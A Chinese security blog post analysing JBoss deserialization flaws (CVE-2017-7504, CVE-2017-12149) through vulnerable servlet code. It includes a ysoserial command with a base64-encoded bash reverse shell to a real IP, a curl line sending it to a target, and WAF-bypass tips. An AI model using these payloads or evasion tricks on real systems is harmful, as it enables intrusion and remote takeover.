前言 这段时间挖edusrc的时候,在一个网段上发现weblogic,jboss,XXL-JOB等等java产品,所以博客才会更着这么勤,希望不是蜜罐吧
JBoss的使用 简单介绍 Tomcat 是 JBoss 的一部分:在早期版本的 JBoss(现在的 WildFly)中,Tomcat 被用作其 Web 容器部分。也就是说,JBoss 使用 Tomcat 来处理 Servlet 和 JSP 的请求,但 JBoss 还提供了更多的企业级服务,如 EJB、JPA 等。 Tomcat + JBoss 组合:Tomcat 处理 HTTP 请求和 Web 层的服务,而 JBoss 提供更高层次的企业级功能。这种组合允许开发者在 Web 层和企业层之间进行分离。
WildFly 是 JBoss AS 7 之后的名字:从 WildFly开始,Tomcat 不再是 WildFly 的主要 Web 容器。WildFly 有自己的 HTTP 子系统来处理 Web 请求。不过,Tomcat 仍然可以作为插件或外部组件来与 WildFly 集成使用。
jboss支持完整 Java EE 规范的应用,相当于是一个功能集合 通过组合这些开源组件,可以基本实现大部分 JBoss 提供的功能:
数据访问层:使用 Hibernate。
应用框架:使用 Spring。
消息队列:使用 ActiveMQ 或其他 JMS 兼容的消息中间件。
事务管理:使用 Atomikos 或 Narayana 进行分布式事务管理。
Web 容器:使用 Tomcat 或 Jetty 来托管应用。
安全性:使用 Spring Security 或 Keycloak 进行身份验证和授权。
Web 服务:使用 JAX-RS 和 Jersey 来实现 RESTful 服务。
微服务架构:使用 Spring Cloud 和 Kubernetes 来构建和部署微服务。
漏洞 其实漏洞的底层原理很简单,和之前的weblogic一样,Java EE应用程序之前需要通讯,如果存在序列化和反序列化通讯,并且反序列化时没有有效处理,就有可能存在漏洞
简单看了下,基本都是java原生反序列化+http访问,下面就以找反序列化点+路由的方式分析漏洞
JBoss AS 4.x CVE-2017-7504 存在漏洞的路径为:/jbossmq-httpil/HTTPServerILServlet/*
jbossmq-httpil.war 是一个与 JBoss MQ(消息队列)相关的 Web 应用归档(WAR)文件。它通常是 JBoss EAP(企业应用平台)的一部分,用于提供消息队列(JMS)服务的 HTTP 接口层。该文件的功能是将 JBoss MQ(一个消息中间件解决方案)通过 HTTP 协议暴露出来,从而允许客户端通过 HTTP 访问 JMS 消息队列
1 2 3 4 5 6 7 8 9 10 11 12 13 14 /server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/jbossmq-httpil ├── META-INF │ └── MANIFEST.MF └── WEB-INF ├── classes │ └── org │ └── jboss │ └── mq │ └── il │ └── http │ └── servlet │ └── HTTPServerILServlet.class ├── jboss-web.xml └── web.xml
结构比较简单就是一个简单的war,而且就只有一个Servlet文件 web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <servlet > <servlet-name > HTTPServerILServlet</servlet-name > <display-name > JBossMQ HTTP-IL Servlet</display-name > <description > Provides and HTTP invocation layer for JBossMQ</description > <servlet-class > org.jboss.mq.il.http.servlet.HTTPServerILServlet</servlet-class > <init-param > <param-name > Invoker</param-name > <param-value > jboss.mq:service=Invoker</param-value > </init-param > </servlet > <servlet-mapping > <servlet-name > HTTPServerILServlet</servlet-name > <url-pattern > /HTTPServerILServlet/*</url-pattern > </servlet-mapping >
HTTPServerILServlet.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package org.jboss.mq.il.http.servlet;public class HTTPServerILServlet extends HttpServlet { protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if (log.isTraceEnabled()) { log.trace("doGet(HttpServletRequest " + request.toString() + ", HttpServletResponse " + response.toString() + ")" ); } response.getWriter().print("<html><head><title>JBossMQ HTTP-IL Servlet</title><head><body><h1>This is the JBossMQ HTTP-IL</h1></body></html>" ); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if (log.isTraceEnabled()) { log.trace("doPost() defers to processRequest, see the parameters in its trace." ); } this .processRequest(request, response); } protected void processRequest (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if (log.isTraceEnabled()) { log.trace("processRequest(HttpServletRequest " + request.toString() + ", HttpServletResponse " + response.toString() + ")" ); } response.setContentType("application/x-java-serialized-object; class=org.jboss.mq.il.http.HTTPILResponse" ); ObjectOutputStream outputStream = new ObjectOutputStream(response.getOutputStream()); try { ObjectInputStream inputStream = new ObjectInputStream(request.getInputStream()); HTTPILRequest httpIlRequest = (HTTPILRequest)inputStream.readObject(); String methodName = httpIlRequest.getMethodName(); String clientIlId; long clientTime; if (methodName.equals("clientListening" )) { ..............................................
JBoss AS 6.x CVE-2017-12149 存在漏洞的路径为:
1 2 3 4 5 6 /invoker/readonly/* /invoker/JMXInvokerServlet/* /invoker/EJBInvokerServlet/* /invoker/JMXInvokerHAServlet/* /invoker/EJBInvokerHAServlet/* /invoker/restricted/JMXInvokerServlet/* (需要登录)
同样也是war,而且war放置的位置也相似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 invoker └── WEB-INF ├── classes │ └── org │ └── jboss │ └── invocation │ └── http │ └── servlet │ ├── InvokerServlet$GetCredentialAction.class │ ├── InvokerServlet$GetPrincipalAction.class │ ├── InvokerServlet.class │ ├── NamingFactoryServlet.class │ └── ReadOnlyAccessFilter.class ├── jboss-scanning.xml ├── jboss-web.xml └── web.xml
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <filter > <filter-name > ReadOnlyAccessFilter</filter-name > <filter-class > org.jboss.invocation.http.servlet.ReadOnlyAccessFilter</filter-class > <init-param > <param-name > readOnlyContext</param-name > <param-value > readonly</param-value > </init-param > <init-param > <param-name > invokerName</param-name > <param-value > jboss:service=NamingBeanImpl</param-value > <description > The JMX ObjectName of the naming service mbean </description > </init-param > </filter > <filter-mapping > <filter-name > ReadOnlyAccessFilter</filter-name > <url-pattern > /readonly/*</url-pattern > </filter-mapping > <servlet > <servlet-name > EJBInvokerServlet</servlet-name > <servlet-class > org.jboss.invocation.http.servlet.InvokerServlet</servlet-class > <init-param > <param-name > invokerName</param-name > <param-value > jboss:service=invoker,type=http</param-value > <description > The RMI/HTTP EJB compatible invoker</description > </init-param > <load-on-startup > 1</load-on-startup > </servlet > <servlet > <servlet-name > EJBInvokerHAServlet</servlet-name > <servlet-class > org.jboss.invocation.http.servlet.InvokerServlet</servlet-class > <init-param > <param-name > invokerName</param-name > <param-value > jboss:service=invoker,type=httpHA</param-value > <description > The HA-RMI/HTTP EJB compatible invoker</description > </init-param > <load-on-startup > 1</load-on-startup > </servlet > <servlet > <servlet-name > JMXInvokerServlet</servlet-name > <servlet-class > org.jboss.invocation.http.servlet.InvokerServlet</servlet-class > <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > EJBInvokerServlet</servlet-name > <url-pattern > /EJBInvokerServlet/*</url-pattern > </servlet-mapping > <servlet-mapping > <servlet-name > EJBInvokerHAServlet</servlet-name > <url-pattern > /EJBInvokerHAServlet/*</url-pattern > </servlet-mapping > <servlet-mapping > <servlet-name > JMXInvokerServlet</servlet-name > <url-pattern > /JMXInvokerServlet/*</url-pattern > </servlet-mapping > <servlet-mapping > <servlet-name > JMXInvokerServlet</servlet-name > <url-pattern > /JMXInvokerHAServlet/*</url-pattern > </servlet-mapping > <servlet-mapping > <servlet-name > JMXInvokerServlet</servlet-name > <url-pattern > /readonly/JMXInvokerServlet/*</url-pattern > </servlet-mapping > <servlet-mapping > <servlet-name > JMXInvokerServlet</servlet-name > <url-pattern > /restricted/JMXInvokerServlet/*</url-pattern > </servlet-mapping >
漏洞利用点可以分为两个ReadOnlyAccessFilter和InvokerServlet ReadOnlyAccessFilter.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.jboss.invocation.http.servlet;public class ReadOnlyAccessFilter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest httpRequest = (HttpServletRequest)request; Principal user = httpRequest.getUserPrincipal(); if (user == null && this .readOnlyContext != null ) { ServletInputStream sis = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(sis); MarshalledInvocation mi = null ; try { mi = (MarshalledInvocation)ois.readObject(); } ..............................................
InvokerServlet.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package org.jboss.invocation.http.servlet;public class InvokerServlet extends HttpServlet { protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .processRequest(request, response); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .processRequest(request, response); } protected void processRequest (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { boolean trace = log.isTraceEnabled(); if (trace) { log.trace("processRequest, ContentLength: " + request.getContentLength()); log.trace("processRequest, ContentType: " + request.getContentType()); } Boolean returnValueAsAttribute = (Boolean)request.getAttribute("returnValueAsAttribute" ); try { response.setContentType(RESPONSE_CONTENT_TYPE); MarshalledInvocation mi = (MarshalledInvocation)request.getAttribute("MarshalledInvocation" ); if (mi == null ) { ServletInputStream sis = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(sis); mi = (MarshalledInvocation)ois.readObject(); ois.close(); } ..............................................
简单利用 java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNjAuMTM1LjIyLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
java反序列化的waf绕过 遇到了就总结一下,绕过思路都是抄的大佬的
尝试了脏数据,但是waf还是拦截 尝试了http分块传输,被拦截了,大小写绕过也不行 尝试了延时分块传输,连接超时报错java.net.SocketException: Connection reset by peer: socket write error
最后找到了p神的一篇文章https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
也可以使用yakit,自带混淆,双字节,脏数据,关键是可以一键反连,链子也还算挺全的,怪不得那些红队大佬都喜欢用它代替bp
但是yakit是国产的,也不知道如果被有些人滥用会不会被封